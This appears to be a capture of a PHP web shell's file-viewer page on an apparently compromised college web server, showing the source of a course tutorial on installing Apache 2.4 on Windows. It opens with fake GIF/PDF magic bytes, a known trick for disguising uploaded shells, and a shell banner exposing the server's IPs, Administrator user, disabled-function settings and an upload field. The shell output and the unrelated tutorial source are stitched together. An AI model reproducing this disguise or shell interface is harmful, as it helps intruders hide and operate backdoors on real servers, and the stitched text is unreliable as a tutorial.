GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /nginx/html/JimMartinson/Setup/Apache/ |
Upload File : |
<? // Setup/Apache/Apache_Installation.php $TRACK = "<b>".basename(__FILE__).'</b> <span class="pv_fl">('.__FILE__.")</span>\n<ol>\n"; ini_set('include_path',ini_get('include_path').PATH_SEPARATOR.$_SERVER['DOCUMENT_ROOT']."/"); // Add the DOCUMENT_ROOT to the include_path. include('application.phpinc'); include('common/InstructorInfo.phpinc'); $dataFolder = formValue('dataFolder',''); $courseNumber = formValue('courseNumber',''); if ($courseNumber == '') $courseNumber = 'CSTxxxx'; if ($courseNumber != 'CSTxxxx') { $courseNumberComment = ''; } else { $courseNumberComment = ' where <b>CSTxxxx</b> is the number of the course you are taking'; } $courseTitle = formValue('courseTitle',''); $_SESSION['courseNumber'] = $courseNumber; $title = "Apache Installation"; $headTitle = '_CST_ - '.$courseNumber.' '.$courseTitle.' - '.$title; $pageTitle = $courseNumber.' '.$courseTitle.'<br>'.$title; $pageMenu= 'JimMartinson/Setup/Apache/Apache_Menu.phpinc'; include('common/pageHeader.phpinc'); $sectionTitle = $title; include('common/sectionHeader.phpinc'); ?> <br> <?=$title?>: (part 1 of 3) <br>Install Apache 2.4.29. <? include('common/Browser/Browser.phpinc'); ?> <ol id="main" class="count"> <li>Check if Apache is already installed. <br> If <b>WebServices</b> is not running then run it from your <b><?=$_SESSION['userDefaultDrive']?>:\<?=$courseNumber?></b> directory. <br> If the Apache status shows as <img src="../WebServices/RUNNING.png" alt="RUNNING" style="border-left:2px solid black; border-right:2px solid black; border-top:1px solid black;"> or <img src="../WebServices/STOPPED.png" alt="STOPPED" style="border-left:2px solid black; border-right:2px solid black; border-top:1px solid black;"> then you have a decision to make: <ol> <li> Keep the current installation. <br>If you feel your current installation will work for this class then skip the installation and move on to <a href="Apache_Service.php?dataFolder=<?=$dataFolder?>&courseNumber=<?=$courseNumber?>&courseTitle=<?=$courseTitle?>">Apache Service Configuration</a> or simply <a href="javascript:window.open('','_parent','');window.close();" onclick="window.open('','_parent','');window.close();return false;">close</a> this window. </li> <li>Re-install Apache. <br>If you feel your current installation will NOT work for this class then you must first uninstall the current version. <ol> <li>Stop the Apache service.</li> <li>Remove Apache as a service. <ol> <li>Open command prompt run as administrator.</li> <li>Find the Apache service name with <kbd>sc query state=all | find "Apache"</kbd>.</li> <li>Remove the Apache service with <kbd>sc delete <apache_service_name></kbd>. Where <b><apache_service_name></b> is the name of the Apache service found in the step above.</li> </ol> </li> <li>Delete the directory Apache was installed in.</li> <li>Continue on to step 2.</li> </ol> </li> </ol> </li> <li>Get and install Apache 2.4. <ol> <li>Download the <a href="httpd-2.4.29-o102n-x64-vc14-r2.zip">Apache2.4 zip file (httpd-2.4.29-o102n-x64-vc14-r2.zip)</a> and save it in the <b><?=$_SESSION['userDefaultDrive']?>:\<?=$courseNumber?>\Install</b> directory.</li> <li>Unzip <b>httpd-2.4.29-o102n-x64-vc14-r2.zip</b> into the root of the <b><?=$_SESSION['userDefaultDrive']?>:</b> drive. Don't worry, it will be unzipped into a <b>Apache24</b> directory.</li> <li>Install Apache as a service. <ol> <li>Open command prompt run as administrator.</li> <li>Change to the <b><?=$_SESSION['userDefaultDrive']?>:\Apache24\bin</b> directory.</li> <li>Run the command <kbd>httpd -k install</kbd>. <br>If you get an error then you need to install the Visual C++ 2015 x64 Redistributable Package. <img src="httpdSystemError.png"> <ol> <li>Download the <a href="VC_redist.x64.exe">Visual C++ 2015 x64 Redistributable Package file (VC_redist.x64.exe)</a> and save it in the <b><?=$_SESSION['userDefaultDrive']?>:\<?=$courseNumber?>\Install</b> directory.</li> <li>Double-click on the <b>VC_redist.x64.exe</b> fiel and install the package.</li> <li>Perform step <b>2.3.3</b> again.</li> </ol> </li> </ol> </li> </ol> </li> <li>Test Apache 2.4. <ol> <li>If <b>WebServices</b> is not running then run it from your <b><?=$_SESSION['userDefaultDrive']?>:\<?=$courseNumber?></b> directory.</li> <li>If <b>Apache</b> does not show as a service hit <b>Z</b> to refresh the services. <br>If it still does not appear then you have done something wrong and cannot continue. </li> <li>Start the Apache service.</li> <li>Open a browser and enter <b>localhost</b> into the address window and hit enter. <br>You should see a page something like the one below. <? BrowserBegin('localhost','localhost',832); ?> <img src="ApacheHaus2.4.29Win64.png"> <? BrowserEnd(); ?> </li> </ol> </ol> <p> If you have completed the Apache installation you can <a href="javascript:window.open('','_parent','');window.close();" onclick="window.open('','_parent','');window.close();return false;">close</a> this window or move on to <a href="Apache_Service.php?dataFolder=<?=$dataFolder?>&courseNumber=<?=$courseNumber?>&courseTitle=<?=$courseTitle?>">Apache Service Configuration</a>. </p> <? include('common/sectionFooter.phpinc'); include('common/pageFooter.phpinc'); ?>